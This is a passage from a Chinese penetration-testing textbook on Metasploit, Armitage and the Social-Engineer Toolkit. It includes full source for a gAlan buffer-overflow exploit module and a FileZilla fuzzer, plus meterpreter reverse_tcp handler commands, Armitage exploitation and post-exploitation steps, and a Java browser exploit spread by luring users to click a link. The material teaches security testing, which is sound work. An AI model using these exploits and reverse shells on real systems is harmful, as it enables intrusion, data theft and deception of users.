在前面的内容中已介绍了如何使用漏洞利用代码模块来攻陷目标机器。在本节中，我们将进一步拓展模块使用体验，尝试使用可用的概念验证代码开发完整的漏洞利用代码模块。为了将任意新的漏洞利用代码转换为框架中的模块，并在Metasploit团队进行更新之前使用其进行渗透测试，必须掌握将漏洞利用代码转换为模块的相关知识。并且，每个漏洞利用代码都以框架中模块形式存在也是不可能的，所以，下面学习怎样使用可用的POC来构建自己的漏洞利用代码模块。

准备

首先，选择可以转换为模块的任意漏洞利用代码，这里选的是 gAlan Zero day漏洞利用代码，可以从http://www.exploit-db.com/exploits/10339处下载。

gAlan是一款用于 X Windows 和Win32的音频处理工具（在线和离线方式都支持），用户可利用该工具以模块化的形式构建合成器、声效链、混音器、序列器、drum-machines等，而这些操作只需要将代表音频处理元件的图标进行链接等操作即可完成。

只有当目标机器使用这一应用程序并且攻击者预先已知道时，针对 gAlan 的漏洞利用代码才能发挥作用，因此，攻击者需要预先知道目标机器上安装了哪些应用程序。

怎样实现

在开始漏洞利用代码转换之前，有必要了解关于栈溢出攻击的一些知识。

在软件中，调用栈时如果使用了过大的内存可能会发生栈溢出，这里调用栈是指应用软件的运行时栈，其中包含了有限大小的内存，通常是在程序启动时就已经确定的。调用栈的大小取决于很多因素，包括程序设计语言、机器体系结构、多线程及可用内存总量等。当程序试图使用的内存空间大于调用栈中实际可用的内存空间时，就会发生栈溢出，一般情况下会导致程序崩溃。在漏洞利用过程中，实质上最常被攻击的寄存器是ESP、EIP和EAX。

● ESP：指向栈顶。

● EIP：指向下一指令地址。

● EAX：要被执行的指令。

由于在栈内所有寄存器都是线性存储的，所以需要知道 EIP 寄存器的确切大小，以便对其进行溢出后可以控制EAX，并执行攻击载荷。

拥有某个漏洞的概念验证代码之后，下一步收集该漏洞尽可能多的信息。观察下面漏洞的概念验证代码，前面少数几行由存储在$shellcode 变量中的 shellcode 组成，可利用msfpayload或msfvenom工具，使用框架中任何可用的攻击载荷生成。

$magic　= "Mjik";

$addr　= 0x7E429353; # JMP ESP @ user32,dll

$filename　= "bof.galan";

$retaddr = pack('l', $addr);

$payload = $magic . $retaddr x 258 . "\x90" x 256 . $shellcode;

漏洞利用代码的主体部分首先包括$magic，其中包含一个四字节的字符串；然后是$addr变量，其中包含ESP栈指针的位置；之后的$filename变量包含了后渗透阶段将要创建的文件名称；$retaddr包含了返回地址，栈指针指向这一地址，并导致溢出发生后漏洞利用代码的执行；最后是攻击载荷执行语句，负责漏洞利用和shellcode的执行。

从漏洞利用代码可知，此处的shellcode最大可达700字节，攻击载荷的总长度是1214字节，在构建模块时会用到这些信息。

我们可以使用重复的返回地址，也可以根据 EIP 被重写时的大小来确定返回地址。Metasploit中包含一个有用的pattern_create.rb工具，可以辅助发现EIP被重写时的确切地址，该工具可生成特定模式的字符串，并传递给漏洞利用代码，可以发现该字符串存储于 EIP中。下面使用该工具创建一个5000字符的字符串。

root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb

Usage: pattern_create.rb length [set a] [set b] [set c]

root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000

编辑漏洞利用代码脚本，使用另一个测试变量$junk替代$payload，并将刚生成的5000字符的字符串复制到该变量中。这里假设读者具备逆向工程和应用程序调试的基础知识。假设存储在 EIP 中的字符串模式为“234abc”，现在使用另一个名为 pattern_offset.rb 的Metasploit工具计算其在字符串中出现的位置。

position where this pattern exists in the string we passed:

root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x234abc

5000

1032

因此，为获取EIP准确位置，必须要传递的字节数是1032。

现在，我们已经收集到了关于漏洞利用代码的充分信息，做好了将其转换为Metasploit模块的准备。

怎样工作

下面开始构建自己的模块，脚本中的第一行代码表示导入依赖库，并创建父类，然后定义initialize()函数，其中包含该漏洞利用代码和注册选项等信息。

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

　 include Msf::Exploit::FILEFORMAT

　 def initialize(info = {})

　　super(update_info(info,

　　　 'Name' => 'gAlan 0.2.1 Buffer Overflow　Exploit',

　　　 'Description' => %q{

　　 This module exploits a stack overflow in gAlan 0.2.1

　　　 By creating a specially crafted galan file, an attacker may be able

　　　 to execute arbitrary code.

　　},

　　　 'License' => MSF_LICENSE,

　　　 'Author' => [ 'original by Jeremy Brown' ],

　　　 'Version' => '$Revision: 7724 $',

　　　 'References' =>

　　　　[

　　　　　 [ 'URL', 'http://www.exploit- db.com/exploits/10339' ],

　　　　],

　　　 'DefaultOptions' =>

　　　　{

　　　　　 'EXITFUNC' => 'process',

　　　　},

　　　 'Payload' =>

　　　　{

　　　　　 'Space' => 1000,

　　　　　 'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",

　　　　　 'StackAdjustment' => -3500,

　　　　},

　　　 'Platform' => 'win',

　　　 'Targets' =>

　　　　[

　　　 [ 'Windows XP Universal', { 'Ret' => 0x100175D0} ],　# 0x100175D0 call esi @ glib-1_3

　　　　],

　　　 'Privileged' => false,

　　　 'DefaultTarget' => 0))

　　　register_options(

　　　　[

　　　　　 OptString.new('FILENAME', [ false, 'The file name.', 'evil.galan']),

　　　　 ], self.class)

　　　end

目前的代码都很简单，比较复杂的代码是从exploit()函数开始的，下面介绍其实现的过程。

首先从原始漏洞利用脚本的头 4个字节开始，即$magic = "Mjik"。

在本模块中，该代码被 sploit = "Mjik"替代。

然后构建缓冲区，由于前面已经确定了 EIP 被重写的位置，因此可以使用如下语句替换重复的返回地址。

sploit << rand_text_alpha_upper(1028);

sploit << [target.ret].pack('V');

添加 nop slide，该漏洞利用脚本中对应部分在本模块中更改为如下形式。

sploit << "\x90" * 45

接下来构建完整的shellcode。

sploit << payload.encoded

最后，将这些行脚本代码整合到exploit()函数中。

def exploit

　 sploit = "Mjik"

　 sploit << rand_text_alpha_upper(1028)

　 sploit << [target.ret].pack('V')

　 sploit << "\x90" * 45

　 sploit << payload.encoded

　 galan = sploit

print_status("Creating '#{datastore['FILENAME']}' file ...")

　file_create(galan)

end

上面是将现有漏洞利用代码转换为Metasploit模块的一个简单的示例，这一过程的难度主要依赖于漏洞利用代码本身。关于模块转换，最好的学习途径是利用Metasploit库中的可用漏洞利用代码模块，下一节将学习怎样将漏洞利用代码模块移植到Metasploit框架以便进行渗透测试。

8.6 移植并测试新的漏洞利用代码模块

在上节中学习了怎样使用可用的概念验证代码开发完整的Metasploit模块，本节中将把该模块保存到合适的位置，并测试其是否正常运转。

准备

了解漏洞利用代码模块要存储的文件夹位置是非常重要的，有助于追踪不同模块所在位置，同时也有助于Metasploit框架理解模块的基本用法。完整的模块脚本构建完成之后，在合适的位置将其保存。

怎样实现

由于上面开发的是漏洞利用代码模块，针对的目标是Windows操作系统，影响的是特定的文件格式，因此可以根据这些信息相应地选择存储位置。查看modules/ exploits/windows目录，可以发现特定的fileformat文件夹，该文件夹用于存储文件格式相关的漏洞利用代码模块，将上面的模块保存为galan_fileformat_bof.rb。

怎样工作

接下来检查该模块功能是否正常，前面我们已经使用过大量的模块，因此这一任务很简单，采用如下步骤。

msf > use exploit/windows/fileformat/galan_fileformat_bof

msf exploit(galan_fileformat_bof) > set PAYLOAD windows/meterpreter/

reverse_tcp

msf exploit(galan_fileformat_bof) > set LHOST 192.168.56.101

msf exploit(galan_fileformat_bof) > exploit

使用exploit命令执行该模块，并创建一个可在目标机器上引发缓冲区溢出的文件。

这样就完成了模块的创建和执行过程，可以看到该过程很简洁，其中较困难的是漏洞利用脚本到 Metasploit 框架模块的正确转换。用户可以根据需要对现有模块进行调试或修改，也可以向Metasploit社区提交新创建的模块以便与他人分享。

8.7 使用Metasploit进行模糊测试

模糊测试是一种软件测试技术，包括使用随机的数据注入检测软件中的漏洞。模糊测试脚本生成畸形数据时，将其传送给特定的目标软件以验证其是否会导致溢出。Metasploit提供中包含某些模糊测试模块，可用于漏洞利用代码开发。下面探索一下模糊测试的基础，以及怎样将Metasploit模块用作潜在的模糊测试器。

准备

在介绍Metasploit模糊测试模块之前，首先对模糊测试及其类型进行简单的了解。

模糊测试被视为是一种黑盒测试技术，用于发现软件中的溢出问题，这一技术广泛地应用于应用程序漏洞挖掘。

模糊测试器可用于测试软件、协议和文件格式中的漏洞，可自动化实现测试数据生成和注入的过程，用户可控制用于注入的数据或数据包的大小。

模糊测试器一般测试如下攻击组合。

● 数字（有符号/无符号证书、浮点数等）

● 字符（URL和命令行输入）

● 元数据：用户输入的文本（id3标签）

● 纯粹的二进制序列

根据待测试的应用程序或协议的类型，可以相应地建立模糊测试器，以生成数据/数据包测试其是否导致溢出。Metasploit中包含了一些模糊测试模块，可以利用黑盒测试方法测试应用程序和协议。这些模块存储在modules/auxiliary/fuzzers目录中。

怎样实现

下面运行一个基于协议的模糊器模块，Metasploit 中包含一个名为 client_ftp.rb 的 FTP模块，其作用是充当FTP服务器，并向FTP客户端发送回应信息。

msf > use auxiliary/fuzzers/ftp/client_ftp

msf auxiliary(client_ftp) > show options

Module options:

Name　Current　Setting　Required　Description

----　---------------　-------------------

CYCLIC　true　yes　Use Cyclic pattern instead..

ENDSIZE　200000　yes　Max Fuzzing string size.

ERROR　false　yes　Reply with error codes only

EXTRALINE　true　yes　Add extra CRLF's in..

FUZZCMDS　LIST..　yes　Comma separated list..

RESET　true　yes　Reset fuzzing values after..

SRVHOST　0.0.0.0　yes　The local host to listen on.

SRVPORT　21　yes　The local port to listen on.

SSL　false　no　Negotiate SSL for incoming..

SSLVersion　SSL3　no　Specify the version of SSL..

STARTSIZE　1000　yes　Fuzzing string startsize.

STEPSIZE　1000　yes　Increment fuzzing string..

从结果可以看到该模块包含很多有用的参数，下面看一下每个参数代表的功能。

● CYCLIC选项用于建立模糊测试数据的循环模式，确保每隔 4个字节的偏移量。如果该选项设置为false，则模糊器将使用字母A组成的字符串作为模糊测试数据。

● ENDSIZE选项用于定义返回给 FTP客户端的模糊测试数据的最大长度。默认情况下，该数值设置为20000字节。

● ERROR选项如果被设置为 true，将使用错误代码对FTP客户端进行响应。

● EXTRALINE选项用于模糊测试目录列表。在收到过多的目录名请求时，有些FTP客户端会崩溃。

● FUZZCMDS选项用于定义对哪些响应信息进行模糊测试，可能的请求包括LIST、NLST、LS和RETR，也可以将其设置为*，以便对所有命令进行模糊测试。

● SRVHOST选项用于指定模糊测试器将使用哪个 IP地址与 FTP服务器进行绑定。对于本地机器，这个值可以设置为0.0.0.0。

● SRVPORT选项用于定义FTP服务器端口，默认值为 21。

● STARTSIZE选项用于定义模糊测试数据的初始化数据长度。

● STEPSIZE选项用于定义溢出失败时，模糊测试数据每次的增量。

在使用模糊测试器时，需要注意如果没有传递正确的参数值，可能会导致模糊测试失败。要对模糊器有更深入的理解，可以查看模块的源代码。下面运行FTP客户端模糊测试器，并查看其返回结果。

msf auxiliary(client_ftp) > run

[*]　Server started.

[*]　Client connected : 192.168.56.102

[*]　- Set up active data port 20

[*]　Sending response for 'WELCOME' command, arg

[*]　Sending response for 'USER' command, arg test

[*]　Sending response for 'PASS' command, arg test

[*]　- Set up active data port 16011

[*]　Sending response for 'PORT' command, arg 192,168,0,188,62,139

[*]　Handling NLST command

[*]　- Establishing active data connection

[*]　- Data connection set up

[*]　* Fuzzing response for LIST, payload length 1000

[*]　(i) Setting next payload size to 2000

[*]　- Sending directory list via data connection

输出信息中有几点需要特别注意，首先，FTP服务器在攻击机器上启动，之后回连FTP客户端，并向客户端机器发送不同的响应命令。模糊测试过程从 NLST 命令开始，之后是LIST等命令。

上面是模糊测试模块工作方式的一个小示例，下节中我们将构建自己的模糊测试模块，并对协议模糊测试进行深入理解。

怎样工作

模糊测试器会根据目标应用程序创建不同的测试用例，在上面的示例中，FTP 服务器的模糊测试是通过发送随机数据包之后对响应消息进行分析实现的，数据包可以对网络流量中的如下属性进行模糊测试。

● 数据包头：模糊测试器可以将任意长度和取值的随机数据插入到数据包头部，并对响应消息进行分析。

● 数据校验和：使用模糊测试器可以在特定的条件下对校验和值进行操纵。

● 数据包大小：可以将任意长度的数据包发送给网络应用程序以判断是否会引发崩溃。发生溢出或崩溃后，模糊测试器可以返回测试用例当做溢出数据使用。

8.8 编写FileZilla FTP模糊测试器

前面已分析过模糊测试模块的工作过程，本节中将进一步构建自己的小型FTP模糊测试器，用于对FileZilla FTP服务器进行模糊测试。

怎样实现

构建模糊测试器的基本模板与前面开发辅助模块所用的模板类似，基本模板应具有如下的形式。

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

　 include Msf::Auxiliary::Scanner

　 def initialize

　　super(

　　　'Name'　=> 'FileZilla Fuzzer',

　　　'Version'　=> '$Revision: 1 $',

　　　'Description'　=> 'Filezilla FTP fuzzer',

　　　'Author'　=> 'Abhinav_singh',

　　　'License'　=> MSF_LICENSE

　　)

　　 register_options( [

　　Opt::RPORT(14147),

　 OptInt.new('STEPSIZE', [ false, "Increase string size each iteration with this number of chars",10]),

　 OptInt.new('DELAY', [ false, "Delay between connections",0.5]),

　 OptInt.new('STARTSIZE', [ false, "Fuzzing string startsize",10]),

　 OptInt.new('ENDSIZE', [ false, "Fuzzing string endsize",20000])

　 ], self.class)

end

前面的代码表示导入MSF库，创建一个类，并定义其中的一些选项，下一步定义模糊测试器的主体部分。

def run_host(ip)

　 udp_sock = Rex::Socket::Udp.create(

　　 'Context'　=>

　　　{

　　　　'Msf'　=> framework,

　　　　 'MsfExploit' => self,

　　　}

　)

startsize = datastore['STARTSIZE'] # fuzz data size to begin with

　 count = datastore['STEPSIZE'] # Set count increment

　 while count < 10000 # While the count is under 10000 run

　 evil = "A" * count # Set a number of "A"s equal to count

　 pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\ x00" # Define the payload

　 udp_sock.sendto(pkt, ip, datastore['RPORT'])

　 # Send the packet

　 print_status("Sending: #{evil}")

　 resp = udp_sock.get(1) # Capture the response

　 count += 100 # Increase count by 10, and loop

end

end

end

下面分析该脚本，该脚本首先创建UDP socket，这在建立到 FileZilla服务器的连接时会用到。然后声明变量startsize与count，分别定义了模糊测试器的起始数据大小和增量长度值，之后建立循环，并在其中声明恶意字符串和攻击载荷格式，这些内容将作为数据包（pkt）的组成部分发送到目标程序。

最后，该脚本使用udp_sock_sendto函数将服务器发送数据包，并使用resp=udp_sock.get()函数捕获服务器的响应信息。每次收到响应信息后，数据包长度值增加100。

怎样工作

要使用该模块，首先要将其存储到modules/auxiliary/fuzzers/ftp目录，将该模块命名为filezilla_fuzzer.rb。

msf > use auxiliary/fuzzers/ftp/filezilla_fuzzer

msf　auxiliary(filezilla_fuzzer) > show options

Module options (auxiliary/fuzzers/ftp/filezilla_fuzzer):

Name　Current Setting　Required　Description

----　---------------　--------　-----------

DELAY　0.5　no　Delay between..

ENDSIZE　20000　no　Fuzzing string endsize

RHOSTS　yes　The target address

RPORT　14147　yes　The target port

STARTSIZE　10　no　Fuzzing string startsize

STEPSIZE　10　no　Increase string size..

从结果可以看到，该模块工作良好，并展示了一些可用的选项。对相应选项进行赋值，并使用run命令运行。

msf auxiliary(filezilla_fuzzer) > set RHOSTS 192.168.56.1

RHOSTS => 192.168.56.1

msf auxiliary(filezilla_fuzzer) > run

[*] Sending: AAAAAAAAAA

[*] Sending: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

上述内容表明该模糊测试器向服务器发送字符串，并一直重复这一发送过程，直至服务器崩溃或该循环结束。如果在服务器崩溃之前循环结束，可以尝试修改脚本来发送更长的字符串。上面简要展示了使用 Metasploit 对软件进行模糊测试的过程，通常不建议使用Metasploit对大型软件进行模糊测试。对软件和应用程序的模糊测试而言，还可以使用一些更专业化的框架。

更多

快速浏览下面的模糊测试框架，如果读者想要提高模糊测试和漏洞利用代码开发方面的知识能力，可以使用该框架。

Antiparser模糊测试框架

Antiparser是使用python语言编写的一个模糊测试框架，用于构建模糊测试器的随机数据的创建过程。该框架可用于开发跨平台运行的模糊测试器，因为该框架唯一的要求就是必须安装Python解释器。

Antiparser可以在http://sourceforge.net/projects/antiparser/处下载。

第9章 使用Armitage

本章讲解下述内容：

● 使用Armitage；

● 扫描与信息收集；

● 发现漏洞与攻击目标；

● 使用Tab切换处理多个目标；

● 使用Armitage进行后渗透阶段工作；

● 使用Armitage进行客户端攻击渗透。

9.1 介绍

本书前面讲述的内容完全是关于Metasploit框架的，介绍怎样使用该框架才能进行更好的渗透测试。现在我们将注意力转移到Metasploit扩展工具，深入了解渗透测试过程。本章主要介绍Armitage，它是运行在Metasploit框架上的图形界面工具，也是一种智能化的工具，可以把目标和漏洞利用代码进行可视化展示，并且还包含该框架中一些高级的后渗透阶段功能。

Armitage整合Metasploit框架中有关黑客的功能，包括目标发现、访问、后渗透工作及其他一些操作。Armitage 中包含动态的工作区，用户可以在其中定义目标并在目标标准之间进行快速切换，并将数千台主机划分为不同的目标集。Armitage 也可以启动扫描，并从多种安全扫描器中导入数据。Armitage 对当前目标进行了可视化展示，以便用户更清晰与哪台主机建立了会话。Armitage 使用漏洞利用代码，并运行主动检查（可选地）告知用户哪一个漏洞利用代码可用。如果这些选项失效，可以使用Hail Mary攻击利用Armitage的智能化自动攻击功能，对目标进行攻击渗透。

进入Armitage环境后，可看到Armitage中包含meterpreter中内置的一些后渗透阶段工具，用户只需要点击某个菜单选项，就可以实现权限提升、击键记录、口令哈希导出、浏览文件系统、使用命令shell等功能。

通过使用 Armitage，可以利用其中包含的各种功能，进一步简化渗透测试任务。首先介绍在Metasploit中使用Armitage的基础知识，然后对Armitage中端口扫描、前渗透阶段、后渗透阶段的工作进行讲解和分析。

9.2 使用Armitage

首先介绍Armitage的构建过程，包括在Windows和Linux中的BackTrack等不同环境。在近期的BackTrack版本中，已经预安装了Armitage。要在Windows中构建Armitage，可以从其官方网页下载其ZIP文件。

http://www.fastandeasyhacking.com/download

怎样实现

首先在BackTrack中构建Armitage。

（1）在 BackTrack5R2 中预先安装 Armitage。要找到该工具，可以先点击桌面上的Applications，之后通过Backtrack | Exploitation tools | Network Exploitation tools | Metasploit framework | Armitage路径找到该工具。

GUI界面提示用户建立连接，分别使用msf和test作为默认的用户名和口令，可以将DB驱动程序保持为 postgressql，最终形式的DB连接字符串为msf3:"8b826ac0" @127.0.0.1:7175/msf3。

（2）默认设置设置完毕后，可以点击Start MSF启动Armitage GUI。

要在Windows上构建Armitage，需具备以下两个先决条件。

● Metasploit 4.2及以上版本。

● JDK 1.6。

（3）用户可以从上面提及的URL中下载该ZIP文件。但还有一个更简单的方法，可以通过Start | Programs | Metasploit framework | Framework Update路径进行更新，更新完成后，可自动把Armitage添加到Metasploit库。

（4）更新完成后，可在Start | Programs | Metasploit framework | Armitage路径找到该文件并启动Armitage。

（5）从上图中可以看到用于连接的GUI，其中设置了Host、Port、User、Password的默认值，点击Connect按钮启动Armitage。

（6）点击Connect按钮，将提示用户启动Metasploit RPC服务器。点击Yes按钮，进入主窗口。要在远程Metasploit上使用Armitage，可以将IP地址从127.0.0.1修改为远程IP。

怎样工作

Armitage是通过创建对Metasploit的RPC调用实现的。点击Connect按钮之后，将产生一个重复的RPC回连失败消息。产生错误消息是因为Armitage通过RPC调用不断尝试连接Metasploit框架，并等待响应消息。连接成功后，将出现Armitage GUI界面，其底部是MSF控制台。

更多

下面看一下怎样在其他Linux上构建Armitage。

在Linux上构建Armitage

在Linux平台上的Metasploit中构建Armitage也是简单的，用户可以从官方网站下载相应的安装程序，或在Metasploit 4.2及以上版本中运行msfupdate命令获取Armitage。在 Linux上使用Armitage时，要确保框架中的数据库正在运行，可以在终端提示符中运行/etc/init.d/framework-postgres start命令启动PostgreSQL。

9.3 扫描与信息收集

以前面讲述的内容为基础，现在我们可以使用Armitage进行一些基本的渗透测试操作，即扫描与信息收集。下面在Armitage中进行Nmap扫描，并对GUI上显现的结果进行查看和分析。

准备

要启动Nmap扫描，首先选择Hosts，然后选择Nmap Scan，如下图所示。下面快速检测该操作系统，以了解目标主机是否存活。

快速浏览Armitage窗口，其左面有一个搜索面板，在其中可以搜索框架中所有不同的模块，但不像在msfconsole中那么容易。还可以看到MSF Console面板，在其中可以执行本书前面讲过的任意Metasploit命令。所以在使用Armitage时，既可以利用GUI的功能，又可以利用命令行的功能。

怎样实现

要执行扫描，可遵循如下步骤。

（1）要启动扫描过程，Armitage 要求提供 IP 或 IP 地址段作为扫描目标。例如，以192.168.56.1/24作为目标地址段，对该网段进行整体扫描，并返回该网段内存活主机的操作系统版本等信息。

（2）扫描完成后，将列出所有存活主机及其可能的操作系统类型，如下图所示，可以看到，有3台存活主机，其中两台运行的是Windows，一台运行的是Linux。

（3）接下来收集更多有关活跃目标的信息，以便选择合适的漏洞利用代码进行渗透测试。右键单击目标图像，点击Services选项，弹出一个新的菜单，其中列出了开放端口及端口上运行的相应服务。通过这种方式，我们可以收集大量关于多个目标的信息，而所需要的操作仅仅是点击鼠标。

需要注意的是 Armitage 为每个新请求创建不同的菜单，这有助于用户同时处理多个目标，用户可以轻松地在不同目标之间进行切换，并获取不同目标的相关信息。操作过程汇总时如果感觉 Armitage 提供的选项不够，可以切换到 Console 菜单并直接使用其中的Metasploit命令。多目标处理是Armitage相较Metasploit而言的一大优势，可以提高渗透测试的效率。

下节中将介绍渗透测试阶段工作，并实际感受Armitage的简易快捷，其中提供了相关的漏洞利用代码和攻击载荷，可应用到对目标的渗透测试中。

怎样工作

Armitage从Metasploit框架中导入Nmap功能，Nmap所需要的参数是以Metasploit指令的形式从Armitage GUI中传递的，然后Metasploit调用Nmap脚本，并使用Metasploit指令作为参数。

9.4 发现漏洞与攻击目标

本节主要介绍怎样在 Nmap 扫描发现的目标中自动寻找已知漏洞，Armitage 将根据开放端口和操作系统中存在的已知漏洞，自动化地为目标寻找适当的漏洞利用代码。但这一过程的结果并不能总是正确的，因为搜索到的漏洞利用代码完全依赖于 Nmap 扫描返回的结果，如果操作系统寻找环节出错，那么所选择的漏洞利用代码也不会有效。

准备

启动Armitage面板，连接Metasploit，然后再启动Nmap扫描寻找可用的目标，前两节内容已经介绍过这些步骤，下面利用Armitage在目标机器中寻找漏洞。

怎样实现

发现目标之后，选择Armitage中的Attacks选项，可以根据已发现目标的开放端口和操作系统漏洞寻找已知的漏洞利用代码，要找到适当的漏洞利用代码，可以依次点击Attacks | Find Attacks | By port or by vulnerability。

怎样工作

Armitage 找到漏洞利用代码之后，在目标机器图像上右键单击，将出现新增的 Attack选项，选择该选项可显示出Armitage为某个特定目标找到的不同攻击方法。

接下来对Windows目标进行攻击渗透，可以使用SMB ms_08_047 netapi漏洞，在目标机器图像上右键单击，通过Attack | SMB | MS_08_047 netapi路径可以找到该漏洞利用代码，用户可以检查Use a reverse connection选项，在成功执行漏洞利用代码后，可得到一个反向连接，并可以观察到如下一些现象。

目标机器的图像变成红色，图像四周边界高亮，表明攻击渗透已经成功。

右键单击目标机器图像，会出现meterpreter通道选项。

msfconsole将显示打开的会话。

从上图可以看到，不需要传递任何命令，就可以轻而易举地实现对目标机器的攻击渗透。GUI提供了Metasploit命令驱动的所有功能，为框架增添了更多强大的功能。不过，必须对msfconsole命令有良好的掌握，不能完全依赖于GUI，有一些MSF功能无法通过Armitage的GUI使用。

下节将介绍使用Armitage进行后渗透阶段工作。

9.5 使用Tab切换处理多个目标

在前面内容中，学习到了使用Armitage GUI会使渗透过程更容易。在本节中，将介绍使用Armitage的另一优势：在Metasploit中处理多个目标时，为进行管理必须在会话之间进行切换，这种多目标切换的过程可在Armitage中得以加速，通过使用不同的菜单便可实现，下面来看具体的实现过程。

怎样实现

在上节中，已成功攻陷Windows XP目标机器，同时还发现两个可用的目标。要对Windows 2008 Server进行攻击，可以右键单击该图标，选择合适的漏洞利用代码。还有另外一种方法是，通过 View | Console启动新的控制台，并在其中使用命令行操作攻陷目标机器。

怎样工作

建立一个多处理程序，并使用客户端漏洞对目标进行攻击渗透。

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > exploit

[-] Handler failed to bind to 192.168.56.101:15263

[-] Handler failed to bind to 0.0.0.0:15263

[-] Exploit exception: The address is already in use (0.0.0.0:15263).

[*] Exploit completed, but no session was created.

从结果可以看到，exploit命令出现异常，声称无法将反向连接处理程序绑定到192.168. 56.101:15263，这是因为在对Windows XP目标进行攻击时已经在该端口建立了反向连接，所以必须改变端口号并再次使用exploit命令。

msf exploit(handler) > set LPORT 1234

LPORT => 1234

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.56.101:1234

[*] Starting the payload handler...

客户端漏洞利用代码成功执行后，可成功建立反向连接。从下图中可以看出，Windows 2008 Server目标变红并且图标四周变亮。

这里需要注意的是，不同目标有不同的操作菜单，并可以在不同菜单之间进行切换，以与任意攻陷的目标进行交互。

这也是Armitage中另一个可使执行渗透测试更容易的重要功能，适用于处理网络中多个目标的情况。

9.6 使用Armitage进行后渗透阶段操作

在上节我们介绍了Armitage在处理多目标时的应用，当目标攻击渗透成功后，需要执行各种后渗透阶段操作。下面看一下Armitage如何应用于后渗透阶段操作中。

准备

我们将对已攻击成功的Windows XP主机进行分析，并了解怎样在其上执行一些后渗透阶段操作。

怎样实现

实现对目标的渗透后，右键单击目标图像，并进行相应的一些选项操作。一些常见的后渗透阶段动作包括：访问、交互和pivot。在Armitage中，这些操作只需要通过一些鼠标点击操作即可完成。下面执行后渗透阶段第一个也是最重要的一个操作—权限提升，在目标图像上右键单击，找到Meterpreter | Access | Escalate privileges路径，就可以实现权限提升操作。后渗透阶段的另一个重要操作 screenshot，可以通过Meterpreter | Explore | Screenshot路径实现，该操作可在新菜单中向用户展示目标桌面的快照，并可以根据用户的意愿进行刷新操作，下图是一个快照示例。

怎样工作

从上图可以看到，快照已经在新窗口中创建，其底部有两个按钮，一个是Refresh按钮，可以对快照进行刷新操作，另一个是Watch按钮，该按钮每隔10秒中对快照进行一次刷新。

类似地，也可以尝试 Armitage 中大量的如“click-to-server”等后渗透阶段选项，以便加速渗透测试的进程。

上面只是使用Armitage作为Metasploit潜在扩展加速渗透测试进程的一个小示例，只有使用Metasploit命令后，才会理解Armitage的真正功能。强大的命令行工具和GUI的有效结合，使Armitage成为进行渗透测试的一个有效工具。

9.7 使用Armitage进行客户端攻击渗透

如果目标操作系统中不含有明显的漏洞，那么客户端攻击渗透也可以用于渗透测试。在第 4 章中已经讨论过，客户端漏洞攻击渗透技术利用的是目标系统中安装的应用程序的漏洞，例如 Internet Explorer和Adobe Reader。本节中将在Windows 7机器上使用Armitage进行Jave客户端漏洞的攻击渗透。

准备

启动Nmap扫描，获取目标机器的相关信息。

怎样实现

要进行客户端漏洞攻击渗透，可以遵循如下步骤。

（1）在Armitage的左面板，找到Exploit | Windows | Browser |java_docbase_bof路径，此时会出现如下图所示的一些参数选项。

（2）漏洞利用模块已指定SRVHOST和URI等选项，因此用户必须提供目标机器的IP地址和要方位的URI等参数，其他所有参数都已经设置了默认值。

（3）参数值传递后，点击Launch按钮开始渗透测试进程。

怎样工作

点击Launch按钮后，在Console窗口中可看到攻击渗透活动，Armitage将生成一个URI网址，只有诱使目标用户点击该网址，客户端漏洞攻击才能进行。Armitage 可自动启动一个反向的监听器，并等待攻击成功后目标机器回连到攻击方机器。用户可以使用多种不同的社会工程技术将该URI传递给目标用户，并诱使用户点击该URI。

攻击成功后，可在Armitage GUI中看到，目标机器图像变红并且四周高亮显示，右键单击该图标，会出现一些不同的后渗透阶段选项，例如建立 meterpreter 会话、登录等操作选项，如下图所示。

建立meterpreter会话等不同操作的响应信息也可以在Console等窗口中看到。实际上和前面章节中执行的命令集是一样的，Armitage只不过是通过提供GUI交互媒介对整个过程进行了封装操作。

第10章 社会工程学工具包

本章讲解下述内容：

● 使用社会工程学工具包（SET）；

● 使用SET配置文件；

● 钓鱼式攻击矢量；

● 网站攻击矢量；

● 多攻击Web矢量；

● 介质感染攻击。

10.1 引言

社会工程学是指诱导目标用户无意地执行一些操作的行为。在基于网络的典型社会工程场景中，用户被诱骗执行一些会导致敏感信息失窃，或其他一些恶意活动的操作。社会工程学广泛被应用的原因在于，攻破平台很困难，但诱使目标平台的用户无意地执行一些恶意活动则相对容易。例如，要窃取某个用户的口令，攻破 Gmail 的安全系统很困难，但创建社会工程场景，向目标用户发送伪造的登录/钓鱼页面，并诱骗用户泄露登录信息则相对容易。

社会工程学工具包的设计就是为了执行这些诱骗活动，正如现有软件和操作系统中的漏洞利用代码和漏洞一样，SET可以理解为用于攻破人类安全意识缺陷的“漏洞利用代码”。SET是官方的工具包，可以从www.social-engineer.org网站下载，并且在BackTrack 5中有默认安装。本章中，我们将分析社会科学工具包的各个方面，以及该工具包如何在Metasploit框架中发挥作用，重点关注如何创建攻击方法，以及如何对配置文件进行管理操纵，这也是SET的核心部分。下面开始深入介绍社会工程的内容。

10.2 使用社会工程学工具包（SET）

首先对SET进行介绍，主要内容包括SET在不同平台上的使用。

准备

官方网站www.social-engineer.com提供了适用于不同平台的SET下载链接，SET工具包中既包括可以通过浏览器进行操作的GUI版本，还包括可在终端提示符中执行的命令行版本。BackTrack中预先安装了SET工具包，为下面讨论的内容搭建了基础平台。

怎样实现

若要在BackTrack中启动SET，可以启动终端窗口并传递如下路径。

root@bt:~# cd /pentest/exploits/set

root@bt:/pentest/exploits/set# ./set

Copyright 2012, The Social-Engineer Toolkit (SET)

All rights reserved.

Select from the menu:

　 1) Social-Engineering Attacks

　 2) Fast-Track Penetration Testing

　 3) Third Party Modules

　 4) Update the Metasploit Framework

　 5) Update the Social-Engineer Toolkit

　 6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

